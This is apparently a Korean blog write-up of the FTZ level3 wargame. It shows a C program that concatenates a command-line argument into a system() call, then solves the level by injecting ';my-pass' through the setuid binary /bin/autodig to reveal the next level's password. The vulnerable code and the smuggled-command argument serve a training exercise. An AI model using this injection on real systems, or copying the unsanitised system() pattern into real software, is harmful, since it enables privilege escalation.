본문 바로가기

FTZ level3 본문

wargame/FTZ-LEVEL

FTZ level3

Seongjun_You 2021. 10. 7. 07:36

바로 hint를 까 보았다.

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

more hints

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

------------------------

까지가 hint의 내용이다.

 

명령행 인자를 통해 값을 입력하면 된다.

more hints에 대해 설명하자면

동시에 여러 명령어는 세미콜론을 통해 구분이 가능하고

문자열 형태는 큰따옴표를 사용한다.

 

먼전 level 4 setuid 파일을 찾아준다.

autodig가 있다.

/bin/autodig ";my-pass"

명령행 인자를 보내면 flag가 뜬다.

 

level 4 password : "suck my brain"

'wargame > FTZ-LEVEL' 카테고리의 다른 글

FTZ level6  (0) 2021.10.07
FTZ level5  (0) 2021.10.07
FTZ level4  (0) 2021.10.07
FTZ level2  (0) 2021.10.07
FTZ level1  (0) 2021.10.03
Comments